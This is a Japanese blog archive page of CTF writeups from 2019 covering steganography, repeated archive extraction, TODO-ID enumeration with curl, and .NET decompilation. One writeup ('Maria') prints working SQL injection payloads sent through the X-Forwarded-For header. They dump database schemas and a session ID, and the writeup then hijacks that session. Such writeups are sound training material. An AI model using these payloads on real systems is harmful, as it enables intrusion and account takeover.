2019年02月

STEM CTF: Cyber Challenge 2019 writeup Nomination

Nomination

Time Remaining: 0d 8h 24m 15s

Grab Bag - 100 points

Description

Surprised Pikachu is old. Let’s get this surprised cat going.

解凍するとpng画像ができます。

Scaredy_Cat

ImageJで開いて、[Image]-[Adjust]-[Color Balance]で調整します。

1

2

フラグは、
MCA{g1jVx4a2zcpoZx2q}
です。

ImageJではじめる生物画像解析
三浦 耕太
学研プラス
2016-03-26


STEM CTF: Cyber Challenge 2019 writeup Journey to the Center of the File

Journey to the Center of the File

Time Remaining: 0d 13h 3m 28s

Grab Bag - 100 points

Description

W(e( (h(a(v(e( (t(o( (g(o( (d(e(e(p(e(r)))))))))))))))))))

download

ダウンロードしたファイルを解凍するとflagファイルができます。fileコマンドでファイルタイプを確認します。
$ file flag 
flag: bzip2 compressed data, block size = 400k
さらに解凍してファイルタイプを確認します。
$ file flag
flag.dat: Zip archive data, at least v2.0 to extract
繰り返し圧縮されているようですので、ファイルタイプを調べて解凍するシェルスクリプトを作ります。
mv -f flag flag2
while :
do
    if [ "`cat flag2 | grep MCA{`" ]; then break; fi
    out=`file flag2`
    echo $out
    case "$out" in
        *bzip2* )
            mv -f flag2 flag2.bz2
            bunzip2 flag2.bz2
            ;;
        *Zip* )
            unzip flag2
            mv -f flag flag2
            ;;
        *ASCII* )
            base64 -d flag2 > flag
            mv -f flag flag2
            ;;
        *gzip* )
            mv -f flag2 flag2.gz
            gunzip flag2.gz
            ;;
        *init=* )
            base64 -d flag2 > flag
            mv -f flag flag2
            ;;
        * )
            break
            ;;
    esac
done
スクリプトを実行すると、最後にフラグ文字列が書かれたファイルができています。
フラグは、
MCA{Wh0_Needz_File_Extensions?}
です。

新しいシェルプログラミングの教科書
三宅 英明
SBクリエイティブ
2017-11-21


STEM CTF: Cyber Challenge 2019 writeup TODO

TODO

Time Remaining: 0d 1h 25m 31s

Web - 100 points

Description

TODO: Remember where I put that flag…

http://138.247.13.110/

URLにアクセスすると次のページが表示されます。
1

適当に入力してボタンをクリックすると、URLがhttp://138.247.13.110/todolist/1000/になります。1000の部分を1,2と変えてみると別のTODOの内容が表示されます。
1~1000まで自動的にアクセスするシェルスクリプトを作ります。
for i in `seq 1 1000`
do
    out=`curl 138.247.13.110/todolist/$i/`
    if [ "`echo $out | grep MCA{`" ]; then break; fi
done
echo $out
実行すると次のとおりフラグを得ることができます。
<!DOCTYPE html> <html lang="en"> <head> <!-- Basic Page Needs –––––––––––––––––––––––––––––––––––––––––––––––––– --> <meta charset="utf-8"> <title>Todolist</title> <meta name="description" content="Small todolist app."> <meta name="author" content="Christian Rotzoll"> <!-- Mobile Specific Metas –––––––––––––––––––––––––––––––––––––––––––––––––– --> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <!-- FONT –––––––––––––––––––––––––––––––––––––––––––––––––– --> <link href='http://fonts.googleapis.com/css?family=Raleway:400,300,600' rel='stylesheet' type='text/css'> <!-- CSS –––––––––––––––––––––––––––––––––––––––––––––––––– --> <link rel="stylesheet" type='text/css' href="https://cdnjs.cloudflare.com/ajax/libs/normalize/3.0.2/normalize.min.css"> <link rel="stylesheet" type='text/css' href="https://cdnjs.cloudflare.com/ajax/libs/skeleton/2.0.4/skeleton.min.css"> <link rel="stylesheet" type='text/css' href="/static/css/custom.css"> <!-- Scripts –––––––––––––––––––––––––––––––––––––––––––––––––– --> <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="/static/js/site.js"></script> <script src="http://cdnjs.cloudflare.com/ajax/libs/moment.js/2.9.0/moment.min.js"></script> <script src="/static/lists/js/lists.js"></script> <!-- Favicon –––––––––––––––––––––––––––––––––––––––––––––––––– --> <link rel="icon" type="image/png" href="/static/images/favicon.png" /> </head> <body> <!-- Primary Page Layout –––––––––––––––––––––––––––––––––––––––––––––––––– --> <div class="container"> <!-- Navigation –––––––––––––––––––––––––––––––––––––––––––––––––– --> <div class="navbar-spacer"></div> <nav class="navbar"> <div class="container"> <ul class="navbar-list"> <li class="navbar-item"><a class="navbar-link" href="/">Todolist</a></li> <li class="navbar-item"></li> </ul> </div> </nav> <section class="header"> <div class="row"> <div class="three columns value-prop"></div> <div class="six columns"> <div class="title">By MITRECTF:</div> <form action="/todo/add/678/" method=post> <input type='hidden' name='csrfmiddlewaretoken' value='0rG0HOuNVMinZEZvzuh0ONCZ1ExYstCr1bcbeEVMcSvYOxfxITknt7T0Krwykcn7' /> <tr><th></th><td><input type="text" name="description" class="u-full-width" id="id_description" placeholder="Enter your todo" required maxlength="128" /></td></tr> <input type="submit" value="Submit"> </form> </div> <div class="row"> <div class="one-half column open-todos"> <h6 class="docs-header open-todos">1 open</h6> <ul> <li><input type="checkbox" id="checkbox" data-todo-id="678"> MCA{al3x4_5et_a_r3minder}</li> </ul> </div> <div class="one-half column finished-todos"> <h6 class="docs-header finished-todos">0 finished</h6> <ul> </ul> </div> </div> </div> </section> </div> <!-- End Document –––––––––––––––––––––––––––––––––––––––––––––––––– --> </body> </html>
フラグは、
MCA{al3x4_5et_a_r3minder}
です。



Evlz CTF writeup Sanity Check 1

Sanity Check 1

1

Find the flag in topic of the Slack channel

Author : Al Capwn

slackの#ctfチャンネルにフラグが記載されています。
フラグは、
evlz{I_pledge_to_play_fair_and_I_promise_to_not_attack_the_infrastructure}ctf

Quals: Saudi and Oman National Cyber Security CTF writeup Try to see me

Category:Digital Forensics
Level:medium
Points:100

Points

you`ll need your glasses or good pair of eyes and some brainzzz.




fileコマンドでファイルタイプを確認します。単なるデータのようです。
$ file final 
final: data
バイナリエディタでファイルを開き、先頭の2バイト(00 00)をBM(42 4D)に書き換えます。ビットマップファイルとして認識されます。画像の右側にうっすらと文字が見えます。

final

ImageJで開いて、[Color]-[Split Channels]を選択します。blueのファイルが見えやすいです。

final.bmp (blue)

画像に書かれている文字列は次のとおりです。
3c034c8ecf5121fc23612ef9d71756b0
この文字列をsubmitしてみますがフラグではないようです。
steghideコマンドを試してみます。
$ steghide --extract -sf final.bmp -p 3c034c8ecf5121fc23612ef9d71756b0 -xf aaa.txt
wrote extracted data to "aaa.txt".
抽出したテキストファイルに記載されている文字列をsubmitしてみるとフラグでした。
フラグは、
d78e573bcae3899be1751e414c17b84c
です。

コンピューター&amp;テクノロジー解体新書
ロン・ホワイト
SBクリエイティブ
2015-09-19


Quals: Saudi and Oman National Cyber Security CTF writeup Maria

Category:Web Security
Level:hard
Points:200

Points

Maria is the only person who can view the flag


URLにアクセスします。Cookieを削除した状態でアクセスすると次のようにResponseにSQL文が記載されています。

1

X-Forwarded-ForタグでIPアドレスを指定してみます。
X-Forwarded-Forとは、HTTPヘッダフィールドの1つであり、ロードバランサなどの機器を経由してWebサーバに接続するクライアントの送信元IPアドレスを特定する際のデファクトスタンダードです。
Fiddlerでリクエストを編集して送信します。

2

X-Forwarded-Forで指定したIPアドレスがSQL文に反映されています。それではSQLインジェクションができないか調べてみます。
X-Forwarded-Forに「' union select 1--」を指定してみます。
3
エラーメッセージが返ってきました。SQLインジェクションができそうです。
union select の列数を4まで増やすとエラーが発生せず正常な応答になります。またそのときPHPSESSIDに4が設定されていますので、4つ目の列に取得したい情報を指定することで情報を得ることができそうです。
X-Forwarded-Forに次のSQL文を指定してみます。
' union select 1, 2, 3, group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--
2つのテーブル名が取得できました。
PHPSESSID=nxf8_users%2Cnxf8_sessions;
それでは、nxf8_usersテーブルの列名を取得したいと思います。以下のSQL文を指定します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_users'--
次のようにCREATE TABLE文を取得できました。
PHPSESSID=CREATE+TABLE+%22nxf8_users%22+%28%0A++++++++++++%22id%22+int%2810%29+NOT+NULL%2C%0A++++++++++++%22name%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22email%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22password%22+varchar%28255%29++NOT+NULL%2C%0A++++++++++++%22role%22+varchar%28100%29++DEFAULT+NULL%0A++++++++%29;
パーセントエンコードを復号すると次のようになります。
CREATE TABLE "nxf8_users" (
    "id" int(10) NOT NULL,
    "name" varchar(255)  NOT NULL,
    "email" varchar(255)  NOT NULL,
    "password" varchar(255)  NOT NULL,
    "role" varchar(100)  DEFAULT NULL
);
同様にnxf8_sessionsテーブルのCREATE TABLE文を取得します。
' union select 1, 2, 3, sql FROM sqlite_master WHERE type='table' and tbl_name = 'nxf8_sessions'--
以下の情報が取得できます。
CREATE TABLE "nxf8_sessions" (
    "id" int(10) NOT NULL,
    "user_id" varchar(255)  NOT NULL,
    "ip_address" varchar(255) NOT NULL,
    "session_id" varchar(255)  NOT NULL
); 
nxf8_usersテーブルから"Maria"の情報を取得します。
' union select 1, 2, 3, id FROM nxf8_users where name = 'Maria'--
次の情報が取得できます。MariaのIDは5です。
PHPSESSID=5;
nxf8_sessionsテーブルからuser_id=5の情報を取得します。
' union select 1, 2, 3, session_id FROM nxf8_sessions where user_id = '5'--
次の情報が取得できます。
PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
それではリクエストのクッキーに次の値を設定して要求を投げてみます。
Cookie: PHPSESSID=fd2030b53fc9a4f01e6dbe551db7ded390461968;
下図のようにフラグが表示されました。
4

フラグは、
aj9dhAdf4
です。

実践 Fiddler
Eric Lawrence
オライリージャパン
2013-05-25


Quals: Saudi and Oman National Cyber Security CTF writeup Hack a nice day

Category:Digital Forensics
Level:medium
Points:100

Points

can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}


fileコマンドでファイルタイプを確認します。普通のJPEGファイルでコメントにbadisbadと記載されています。submitしてみますがこれはフラグではないようです。また、画像ファイルをバイナリエディタで見ても特にフラグらしきものはありません。
$ file info.jpg 
info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3
次にsteghideツールを使ってみます。パスフレーズにjpegファイルのコメントを入力します。
$ steghide extract -sf info.jpg
Enter passphrase: badisbad
wrote extracted data to "flaggg.txt".
ファイルが抽出されました。
フラグは、
flag{Stegn0_1s_n!ce}

Quals: Saudi and Oman National Cyber Security CTF writeup I love this guy

Category:Malware Reverse Engineering
Level:medium
Points:100

Points

Can you find the password to obtain the flag?


fileコマンドでファイルタイプを確認します。.NETアプリケーションです。
$ file ScrambledEgg.exe 
ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dnSpyで.NETアプリケーションを逆コンパイルします。逆コンパイルされたソースコードのButton_Clickイベントの箇所を確認します。
public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();

private void Button_Click(object sender, RoutedEventArgs e)
{
string value = new string(new char[]
{
this.Letters[5],
this.Letters[14],
this.Letters[13],
this.Letters[25],
this.Letters[24]
});
if (this.TextBox1.Text.Equals(value))
{
MessageBox.Show(new string(new char[]
{
this.Letters[5],
this.Letters[11],
this.Letters[0],
this.Letters[6],
this.Letters[26],
this.Letters[8],
this.Letters[28],
this.Letters[11],
this.Letters[14],
this.Letters[21],
this.Letters[4],
this.Letters[28],
this.Letters[5],
this.Letters[14],
this.Letters[13],
this.Letters[25],
this.Letters[24],
this.Letters[27]
}));
}
}
valueとTextBoxの入力値を比較しています。valueは、
FONZY
なので、入力するとフラグが表示されます。
フラグは、
FLAG{I_LOVE_FONZY}

Quals: Saudi and Oman National Cyber Security CTF writeup Just Another Conference

Category:General Information
Level:easy
Points:50

Points

famous Cybersecurity conference runs by OWASP in different locations



Googleでfamous Cybersecurity conference runs by OWASPを検索します。

フラグは、
AppSec
です。



Quals: Saudi and Oman National Cyber Security CTF writeup Back to basics

Category:Web Security
Level:easy
Points:50

Points

not pretty much many options. No need to open a link from a browser, there is always a different way


URLにアクセスするとGoogleにリダイレクトされます。そこでFiddlerでRequestを編集してPOSTでRequestを投げてみます。すると次のようなResponseが返ってきます。
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->
次のようにコードを編集しブラウザで実行します。
<script>
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];
function reverse(_0xa6e5x2)
{
flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])
}
console[_0x7f88[4]]= reverse;
console[_0x7f88[4]](_0x7f88[5])
-->
</script>
function内のflagの直後にブレークポイントを設定すると、flagの値が確認できます。

1

フラグは、
2b323f9008ed771765cd2259d860baec
記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー